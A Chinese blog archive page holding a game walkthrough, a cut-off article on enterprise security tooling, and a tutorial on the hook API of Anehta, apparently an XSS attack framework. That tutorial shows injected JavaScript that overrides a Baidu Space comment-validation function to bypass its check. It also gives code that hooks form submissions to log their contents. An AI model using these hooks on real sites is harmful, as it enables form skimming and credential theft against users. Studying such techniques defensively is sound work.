任务开始后位于城市中一条小巷,先解决面前的4名守卫。随后进入大楼内部,通过电梯上到顶层直升机坪,到左侧关闭灯的电源以便解决或者躲避守卫,然后到对面梯子处通过缆绳荡到对面的大楼。解决在阳台巡逻的守卫后进入大楼内部,利用右边的通风管道躲过守卫或者伺机干掉守卫,继续往里走先搞定睡觉的守卫并调查电脑随后在前面阶梯下的监视器处安装监控道具,通过阶梯第2层左侧的门,解决里面听收音机的敌人时要注意阳台巡逻的2名守卫和监视器,在监视器处安装监控道具并解决守卫后继续深入。先解决内部螺旋阶梯下的士兵和在附近2处监视器上安装监控道具,再到上层监视器处安装监控道具,随后往里解决门另一侧的2名守卫,开门后再将门口上方的监视器上安装监控道具。随后返回到之前2层右侧的门,前往另一个区域。利用2层窗户下的一间矮房可以爬到2层,要注意上面的动作捕捉炸弹,轻轻的过去在其闪绿灯的时候将其拆下。随后还要在途中拆下几个,在1层一处电子门内会与接头人会面,随后到屋内一控制台前启动开关,这时身边的6台机器会开始闪光,依次到闪绿光的机器前按下开关便可以使其运作,随后到最里边的机器前调查即可。最后返回到2层左侧门里边一螺旋阶梯右边一处废旧电梯里即可通过此段。

第05段Displace:

任务开始后位于前一段大楼的通风管道处,往前走将发电开关处的2名守卫解决,随后到里面关掉大楼通风扇的电力供应,接着从通风扇口处放下绳子下去。到达一间会议室的上方后不要着急下去,用探头观察里面情况,当里面的重要人物离开后再下去。随后往里来到一间大的电脑室调查开机的电脑。随后从这间房子下面的通路通过一处电子门,这里会遇到先前的重要人物,不要打草惊蛇,悄悄的跟着他们来到电脑室。当其中拿箱子的一方单独走开后悄悄的跟上去,当他到达一间房间后将其抓住训话随后打晕,解读他的密码箱。随后从此房间往右侧的电子门出去上楼,通过上层左侧的未知区域,这里有3道门,左侧为一个健身房,右侧为一个布满激光的通道和一间卫生间,到健身房里解决2名守卫,随后带着一个人的身体通过右侧有激光的通道,因为守卫自身有身份验证,所以激光便会消失。到达内部后先解决左边2名守卫和右边控制台前的守卫,随后到楼梯上层房间内调查电脑。完成后从房间下方的通风管道进入,往右侧方向爬,利用绳子下到下面的控制机房调查电脑,调查完后迅速返回上面管道,此时会有守卫进入操作电脑,趁其不备时下去将其制服,接着再解

分类: 影音娱乐 标签:

每个 IT 组织都必须具备的 4 项安全技术

2008年10月28日 没有评论 36 views
Matt Clapham and Todd Thompson
 
概览:
  • 风险管理仪表盘
  • 反恶意软件
  • 网络异常检测

 

谈到 IT 安全,大多数企业确实都面临基本相同的问题。Microsoft 也不例外。我们在
Microsoft® 托管解决方案 (MMS) 的风险管理与遵从性团队工作了两年(有关 MMS 的详细信息,请参阅“Microsoft 为 Energizer 的 IT 部门充电”)。
风险管理与遵从性团队负责定义、监控和修正所有 MMS 环境的风险状况(针对面向客户的服务和基础结构协调)。早些时候,我们的经理 Arjuna Shunn 认识到我们需要一种技术解决方案,能够提供所需的控制并以集中且紧密结合的方式进行监控。下面将要讨论的技术就是这些早期想法的直接结果,也是我们两年来在自己的操作中使用各种 Microsoft 及第三方产品的经验所得。
首先,我们需要的安全技术应涵盖三种基本控制类型,即预防、检测和修正,并能提供审计和报告功能。我们发现这一工具集合可划分为四个类别:风险管理仪表盘、反恶意软件、网络异常检测以及所需的配置管理。我们尝试过在自己的风险管理操作中针对每个类别至少包含一个代表。结果我们发现,通过利用所有这四个方面的技术,IT 安全团队可以在成本与成效之间达到合理的平衡。
我们的两项主要风险管理操作 — 安全事件响应和遵从性管理 — 从这种方法中获益匪浅,但是要在这些工具中实现最终所希望的协调,仍有很长的路要走。一组结合紧密的技术可大大提高工作效率,但遗憾的是整个行业还没有这样一个集成系统。
幸运的是,IT 安全团队并非毫无希望;四个系统间更具效力的协同工作和互操作只是一个时间问题。一旦这些系统实现协同工作,它们将不仅能够主动监控系统安全状况,在审计或其他例行 IT 操作过程中也能提供很大方便。本文将描述每个系统的理想功能,并会穿插一些我们在运行时使用的示例。

 

风险管理仪表盘
在我们看来,风险管理仪表盘 (RMD) 是绝对必不可少的。它是 IT 安全团队运作中最为重要的技术。企业中的保密性、完整性、可用性和责任性 (CIA2) 风险经常由多个系统和过程分散监控,没有用于数据聚合、关联和风险修正的单一界面。此外,相关法规所要求的企业数据透明性的实施难度越来越大,目前没有一个优化的系统能够跟踪从创建策略到企业执行策略的过程。企业在数据采集、关联、评估、修正和遵从方面所存在的普遍困难就是证明。(图 1 所示的 System Center Operations Manager 2007 虽然不是像这里所描述的那种完整的 RMD 解决方案,但它确实为监控多个资源和收集相关警报提供了一个单一界面。)
 

 

图 1 System Center Operations Manager 2007 为跨网络查看警报和管理资源提供了单一界面 (单击该图像获得较大视图)
数据采集因无法聚合和规范化来自分散源的数据而受到束缚。数据聚合本身就是一项挑战,因为它要求摆脱所有过于粗放的数据收集和报告方法。即使能够完成数据聚合,接下来的规范化又将带来另一个更大的挑战,因为建立支持数据规范化所需的通用框架非常困难。缺少这种规范化,将无法以一种有意义的方式比较来自不同系统的安全和运行状况相关事件。
要执行所需的自动化,风险管理仪表盘必须能够从此处所述安全技术之外的来源访问数据馈送。许多非安全性数据可用来确定总体风险状况。诸如路由器日志、资产跟踪、修补程序状态、当前登录的用户、性能报告和更改管理数据等信息都可以为事件调查员提供相关信息。因此,整个系统需要能够访问所有这些数据。我们知道,即使是最以 Microsoft 为中心的企业基础结构也会包含非 Microsoft 技术,因此,RMD 需要通过某种通用接口接受来自非 Microsoft 技术的馈送。
如果可以获得数据并将其规范化,那么下一步就是关联它。我们的目标是将一系列事件(如网络异常事件、防病毒报告事件和所需配置变化事件)关联在一起,形成一块可操作的风险相关数据。这需要大量手动工作来构建关联逻辑,该逻辑最终将产生有意义且基于风险的警报。基于当前的可用技术,要想获得这种关联逻辑的确有些困难。
评估数据同样需要大量手动工作。如果关联已完成,分析人员还必须检查关联数据以确定其效力。关联数据的效力只与它所基于的规则相当。结果是我们仍然需要人工对关联数据进行分析,以评估 IT 环境所面临的风险。此时,一个清晰且系统化的风险管理框架将有助于减少达到某一分类级别所需的人工干预工作量。缺少这种框架,要想在一个给定的实施中开发一套实际可操作的关联规则会很困难。
假设系统已到达风险评估点,下一步就是自动修正。目前,这只在企业中才能做到,即便如此,也只能是针对一组有限的技术,如修补程序管理或防病毒。以 RMD 系统为前导的自动修正功能将赋予 IT 管理员强大的能力,将 IT 风险保持在一个可接受的水平。当同时识别出多项风险时,关联逻辑应当能够基于资产分类数据帮助确定事件响应的优先级。
最后,提供遵从各种法规要求的证据也是 IT 部门面临的一个巨大难题,并且如我们所提到的,此系统应当支持这类功能。与策略相联系的集中式风险管理系统在生成报告和提供遵从性证据方面极具价值。但是策略需要解决的不仅仅是问题所在和原因。要协助自动修正,还需要将策略转换为一组可由仪表盘监控、强制实施并为其提供反馈的标准。
因此,我们可以将理想的风险管理仪表盘概括为一种为企业运行状况评估、法规和策略遵从以及风险管理过程提供统一界面的方式。实现它的方法是将来自分散的安全和运行状况相关产品以及来源的信息合并为一个与风险相关的综合显示。一个优秀的 RMD 解决方案需要能够完成以下工作:
  • 聚合、规范化和关联来自分散源的数据
  • 提供自动化信息收集和风险评估
  • 将法规要求映射到策略并支持审计和报告
  • 提供可进行修改以适应企业需要的统一框架
仪表盘应允许以有意义的方式来组织和显示数据,例如,按类型或源系统来显示首要事件、待定事件、已解决的事件等。它还应允许您

分类: 技术文章 标签:

Anehta -- hook任意javascript函数

2008年10月28日 没有评论 104 views

其实,JS中最简单的hook是直接重载目标函数。在之前提到的“JSON Hijacking”中就是使用的这种方法。

简单来说,就是把目标函数重新定义一遍,这样就会覆盖掉原来的函数,当函数执行时,就会跑去执行新的函数了。

但是这种方法效率不高,且通用性不好,所以我在Anehta 中重新实现了一次通用的hook函数。

Anehta 中的hook方法包括三个:hook、unhook、injectFn

使用方法是:

var hj = new anehta.inject.hookFunction();

var SaveTarget, HookFn;

hj.hook('Target', 'SaveTarget', 'HookFn');

hj.injectFn('Target', 'SaveTarget', 'HookFn');

hj.unhook('Target', 'SaveTarget');

实际上我在 base.js 中已经定义好了一个变量
var anehtaHook = new anehta.inject.hookFunction();

所以在模块中使用hook方法,只需要直接调用 anehtaHook.hook(); 就可以了。

在上面的代码中,Target 是要hook的函数名字,比如目标函数是这么定义的:
function Function1(){
......
return;
}

那么Target 就是 'Function1'

SaveTarget 是保存原函数。就是说把hook前的函数保存到 SaveTarget 中。

HookFn 就是要插入的函数名称,比如要在Function1里面插入一个函数test
function test(){
   ......
}

那么HookFn 就是 'test'

这三个函数的区别是:
hook() 会把原来传入参数传递给 HookFn 函数,然后HookFn 处理完成后,需要返回一个 Array 类型的值,这个Array类型的值,会作为新的参数传递给被hook的函数 Target.

injectFn()不会传递参数给被Hook的函数,他只做自己的事情。

这两个函数都是在原函数执行前执行。如果你需要传递新的参数给原函数,请选用hook()

unhook() 则是把被hook的函数恢复到hook前的状态。

以百度空间为例,在检查用户评论时,百度使用了如下函数

function checktext(textid)
{
        document.getElementById(textid).value=trimlr(textid);
        var str=trimrn(textid);
        len=str.length;
        if(len==0 || ((/^[\s, ]+$/gi).test(str)) )
        {
            showErr(3,"您必须输入评论内容,请检查。");
            return false;
        }
        else
        {
                if(len>1000)
                {
                    showErr(3,"您输入的评论内容太长,请保持在500字以内。");
                    return false;
                }
            return true;
        }   
}

那么我们要hook这个函数,就可以如下做:

function test(a,b,c,d,e){
    alert("Hooked!");

    var ret = new Array("anehtaTestHook");
    return ret;

}

// 保存原函数
var _function1;

anehtaHook.hook('checktext', '_function1', 'test');

这样原来的checktext()函数执行前,就会去执行我们的test()函数,然后test()函数把结果作为参数传递给checktext()函数。

正常情况下,如果我们不输入任何评论内容,则checktext函数会报错:
 

 

注意此时评论还是为空,但是我们接下来却由于 test() 函数传递了一个参数给 checktext() 函数,使得该函数认为我们的评论是不为空的,从而绕过了检查,直接向服务器提交。
 

 

到这一步,已经可以证明绕过了checktext()函数的检查了。为什么会出错?因为表单提交是提交的input框的内容,而我们只hook了chectext函数,却并没有去修改表单里的内容,所以正常表单提交还是为空的。

以上只是一个简单的POC,来演示hook的使用方法。

anehtaHook.hook() 是针对javascript函数的,甚至可以hook一些内置的javascript函数,比如 alert()、eval()、escape() 等等。

hook函数和绑定事件还是有所区别的。

表单的hook和一般函数的hook略有区别。表单的hook一般是绑定表单的onsubmit事件,如果是通过函数去提交表单,则也可以通过hook函数的方法来解决。

/module/hook.js 里,我演示了几种不同的方法hook表单。

前面两种是直接使用jQuery 绑定事件的方法。

第一种,如果form没有设置onsubmit事件,则直接绑定一个submit事件过去

$("form").bind("submit",
               function(){ anehta.logger.logForm($("form")[0]); }
               );

第二种,直接绑定函数到submit事件
$("form[name='form1']").eq(0).submit(function(){
                    anehta.logger.logForm($("form[name='form1']")[0]);
                    //anehta.logger.logCookie();
                    //return true;
                  }
                  );

第三种,如果对方是通过函数提交,anehta中除了提供上面说到的通用hook外,专门针对表单hook还可以使用以下API:
function injectSubmitFunc(o, param){
    // your code here!
&
nbsp;   alert(param);
    anehta.logger.logForm($("form")[0]);
   
   
    // 最后记得恢复表单的正常提交
    if (o._submit != undefined) {
                o._submit(); // 被hook过了
            } else {
                o.submit();
            }
           
}

anehta.inject.hookSubmit($("form")[0], function (){injectSubmitFunc($("form")[0], "fvck");});
 

分类: 技术文章 标签: